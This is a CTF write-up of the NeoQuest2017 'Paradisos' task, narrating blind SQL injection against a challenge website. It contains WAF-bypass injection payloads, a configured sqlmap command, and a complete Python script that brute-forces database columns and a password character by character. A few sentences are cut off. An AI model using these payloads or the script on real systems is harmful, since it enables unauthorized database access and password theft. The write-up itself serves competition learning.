
[NeoQuest2017] "In search of earthlings" and not only ...

A couple of days ago, the next online qualifying round of the annual cybersecurity competition, NeoQuest2017, ended . I express special thanks to the organizers: every year the story is more fascinating, and the tasks are more difficult!
And this article will be devoted to the analysis of the ninth task: PARADISOS
“IN SEARCH OF THE PEOPLE”
When we reached the ship of the disaster expedition, we did not find anyone there - apparently, the guys managed to get out. But where to look for them now? Theoretically, they could reach the planet Paradisos, the last of those we have not yet visited.
This planet is a paradise: a wonderful climate, friendly inhabitants who joyfully greeted us with flowers and strange fruits, funny music and a bunch of happy aliens from all the races we know and unfamiliar to us. Mini-hotels hovering in the air, billboards in different languages (including terrestrial English). We were solemnly taken to a beautiful hotel, promising full assistance in finding members of the expedition and in sharing knowledge about our planets. We managed to find out that the guys were really here and even created their own website on which each of them made notes about space travel.
The site address has been preserved, but we saw the names of only four researchers there. It turned out that cunning aliens require money for access to complete information. Of course, we will not pay. Let's try to hack!
The assignment is accompanied by the address of the site, which looks like this:

First of all, we will figure out where the text for the biography of each of the “researchers” comes from:
$("#DanielButton").click(function(){
$.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){
$("#ScientistBio").html(result);
$("#Avatar").show();
$("#Avatar").attr("src", "img/lava.png");
}});
});
We follow the link: " ./bio/bio.php?name=Daniel " and we see the text of the biography. It is logical! The first thought that visited me on this page (and I hope that you,% username%, too) is to try SQL Injection in the name parameter.
We try:
name=Daniel'+or+1=1+--+1
And in response to us:
Forbidden
You don't have permission to access /bio/bio.php on this server.
So the site is protected by WAF. Well, this is more interesting: it means there is something to protect!
Empirically, it was found: "information_scheme", "database ()", "SELECT *", "UNION" - are prohibited for use. We go further ...
We try:
name=Dan'+'i'+'el
And the text of his biography comes back to us. So the space works in the form of concatenation. Let's try differently:
name=Daniel'+or/**_**/1=1+--+1
Bingo! In response, we got a biography of all six researchers (and not 4, as on the main page): Roy, Ohad, Naomi, Daniel, Baldric and Sigizmund. The biography of the latter reads: “Like ctf and space!”. However, there is no key anywhere. So you need
I made a decision to uncover heavy artillery: sqlmap ¯ \ _ (ツ) _ / ¯
After the first N attempts to
Having correctly configured WAF bypass techniques (you had to use THIS , but I'm
sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"
PWNED:
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1' OR 228=228 -- 1
Vector: OR [INFERENCE]
However, it was too early to rejoice: sqlmap stubbornly used forbidden “words” and the maximum that could be done was to use sql-shell:

In any case, my guesses were confirmed - BBbSQLi. Remembering a couple of lessons “Crazy hands”, this was created:
Achtung! Causes keyboard cancer
#!/usr/bin/python3
import requests
from multiprocessing.dummy import Pool as ThreadPool
import sys
import subprocess
import time
pool = ThreadPool(101)
pos = 1
passwd = ''
def getSockCount():
proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = proc.communicate()[0]
return int(output.decode())
# Send SQL Request
def connect(sql):
url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1"
req = requests.get(url % sql.replace(' ', '/** **/'))
if 'Hello! My name is' in req.text:
return True
return False
def findColumns(item):
if item.isdigit():
return
sql = "%s>'0'" % item
if connect(sql):
print('Column: %s' % item)
def getFieldValue(item):
global passwd
sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item)
if connect(sql):
passwd += item
alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/']
# Brute Columns
if len(sys.argv) > 0:
tables = open(sys.argv[1]).read().splitlines()
chunk_size = max([len(x) for x in tables])
while True:
pool.map(findColumns, tables)
while getSockCount() > 2:
time.sleep(1)
# слепой перебор символов в поле
else:
while True:
pool.map(getFieldValue, alph)
while getSockCount() > 2:
time.sleep(1)
pos += 1
print(passwd)
Using this script, the following fields were obtained: "id" and "password". It was decided to start the "brute" with the user "id = 6" (aka "Sigizmund"). In the end, it looked something like this:

In the end, humans won! Flag: 14eb6641da38addf613424f5cd05357ce261c305